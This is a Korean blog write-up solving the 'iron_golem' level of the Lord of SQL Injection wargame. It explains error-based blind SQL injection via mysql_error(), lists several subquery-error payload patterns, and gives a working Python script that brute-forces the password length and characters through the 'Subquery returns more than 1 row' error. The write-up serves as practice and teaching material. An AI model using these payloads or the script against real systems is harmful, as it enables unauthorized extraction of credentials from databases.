이번 문제를 보시면 mysql_error() 라는 항목이 추가되었고 항상 보여주던 "Hello ~~~~"가 없어졌습니다.
형식을 보면 blind sql injection이 분명한데 어떻게 참 거짓을 구분해야 할까요?
Injection 중에 별로 신경은 안 썼지만 Error Base SQL Injection이라는 기술이 있습니다.
mysql_error() 함수를 통해서 Query의 오류를 통해서 비밀번호를 하나씩 찾아낼 수 있습니다.
우선 평소처럼 blind sql injection이 되는지 확인하기 위해 다음과 같이 입력해도 참/거짓을 판단할 수 없기 때문에 의미가 없습니다.
일부러 구문 오류를 내봅니다. '(single quarter) 하나만 전송해보면 다음과 같이 error 문구가 나오게 됩니다.
이 error 문구를 이용해서 문제를 푸실 수 있습니다.
Error Base Blind SQL Injection에 대한 내용을 찾다가 몇 가지 Payload를 알게 되었습니다.
ⓐ 조건문 사용: 1 and if($tg,1,(select 1 union select 2)) ⓑ order by/group by: 1 order by (select 1 from (select 1 union select 2)m where $tg=1) ⓒ 논리 연산자의 최적화 현상 이용: $tg||(select 1 union select 2) ⓓ case when then 형식 조건문 사용: select case 1 when 1 then (select 1 union select 2) end; [정규식 관련 에러를 이용] ⓐ 필터링이 쿼리 실행 이후에 일어나는 사례 ⓑ 쿼리가 실행은 되지만 결과가 출력 되지 않는 사례의 시간 기반 대용 ⓒ order by / group by 에 대한 효율적인 인젝션 ⓓ insert 문과 delete 문을 동작을 막으면서 데이터를 추출하기 |
(출처: dmbs님의 블로그, URL 하단 표기)
그 중에 조건문을 이용해서 문제를 풀어봤습니다.
if(조건, 참일 때 실행, 거짓일 때 실행)를 이용하면 조건문에 우선 1=1 이라는 참 값을 놓고 확인해 봅니다.
해당 Query는 참이기 때문에 Error가 표시가 안됩니다.
하지만 조건식에 1=2 라고 표시하고 전송하면 다음과 같이 subquery의 결과 1개가 리턴 됐다고 나오게 됩니다.
해당 문구가 나오면 실패한 것이니 우선 pw의 길이를 찾아봅니다.
찾아보시면 16자리가 나오게 되지만 전 문제와 동일하게 1글자가 4byte인 Unicode로 되어있었습니다.
그렇게 총 4글자의 Unicode라는 것을 알게 되었으니 Python을 이용해서 풀어봅니다.
앞선 문제와 달라진 구문은 find()를 사용할 때 "Subquery returns more than 1 row"로 하고 못 찾을 때라 "<0"라고 합니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 | import requests cookies= {'PHPSESSID':'YourCookieValue'} url = 'https://los.eagle-jump.org/iron_golem_d54668ae66cb6f43e92468775b1d1e38.php?' password = '' length = 0 #pw 길이 구하기 (1글자가 4byte라고 알기 전) for i in range(1,99): query = "pw=' or if(length(pw)={0},1,(select 1 union select 2))%23".format(i) payload = url+query print (payload) res = requests.get(payload, cookies=cookies) if((res.text).find("Subquery returns more than 1 row")<0): length = i print("length: "+str(length)) break #pw 구하기 (1글자가 4byte라고 알게 된 후, 고정 길이) for i in range(1,5): for j in range(33,127): query = "pw=' or if(ord(substr(pw,{0},1))={1},1,(select 1 union select 2))%23".format(i,j) payload = url+query print (payload) res = requests.get(payload, cookies=cookies) if((res.text).find("Subquery returns more than 1 row")<0): password += chr(j) print("password: "+password) break print ("password : "+password) | cs |
(한글 인코딩이 안되어 있어 주석을 지우고 실행해야 합니다)
[참고]
에러기반 블라인드 인젝션: http://blog.naver.com/PostView.nhn?blogId=dmbs335&logNo=200000287070&parentCategoryNo=&categoryNo=67&viewDate=&isShowPopularPosts=true&from=search
'WarGame > LOS(Lord of SQL)' 카테고리의 다른 글
[LOS] umaru (0) | 2018.10.18 |
---|---|
[LOS] dark_eyes (0) | 2018.10.12 |
[LOS] dragon (0) | 2018.10.10 |
[LOS] xavis (0) | 2018.10.10 |
[LOS] nigthmare (0) | 2018.10.08 |